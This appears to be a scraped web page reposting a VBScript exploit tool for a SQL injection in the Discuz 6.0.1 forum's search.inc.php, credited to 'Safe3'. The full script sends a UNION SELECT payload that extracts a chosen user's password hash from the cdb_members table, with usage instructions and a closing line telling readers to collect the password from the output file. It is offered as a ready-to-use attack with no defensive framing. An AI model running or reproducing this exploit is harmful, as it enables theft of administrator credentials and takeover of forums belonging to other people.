Discuz Any administrator password exploit tool VBS code _VBS

Source: Internet
Author: User
Tags administrator password
Also conducive to modification
The following is the search.inc.php file vulnerability exploit code VBS version
Copy Code code as follows:

Dim Strurl,strsite,strpath,struid
SHOWB ()
Set Args = wscript.arguments
If Args.count <> 3 Then
Showu ()
Else
Strsite=args (0)
Strpath=args (1)
Struid=args (2)
End If
Strurl= "ACTION=SEARCH&AMP;SEARCHID=22%CF ' UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/ Uid= "& Struid &"/*&do=submit "
Set Objxml = CreateObject ("Microsoft.XMLHTTP")
Objxml.open "POST", Strsite & strpath & "index.php", False
Objxml.setrequestheader "Accept", "*/*"
Objxml.setrequestheader "Accept-language", "ZH-CN"
Objxml.setrequestheader "Content-type", "application/x-www-form-urlencoded"
Objxml.setrequestheader "User-agent", "WAP"
Objxml.send (strURL)
WScript.Echo (Objxml.responsetext)
Sub SHOWB ()
With Wscript
. Echo ("+--------------------------=====================------------------------------+")
. Echo ("Exploit discuz6.0.1")
. Echo ("Code by Safe3")
. Echo ("+--------------------------=====================------------------------------+")
End With
End Sub
Sub Showu ()
With Wscript
. Echo ("+--------------------------=====================------------------------------+")
. Echo ("Usage:")
. Echo ("cscript"). scriptname& "site path uid")
. Echo ("Example:")
. Echo ("cscript"). scriptname& "http://www.example.com//forum/1 >result.txt")
. Echo ("+--------------------------=====================------------------------------+")
. Quit
End With
End Sub

Get the password everyone find yourself in the Result.txt

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.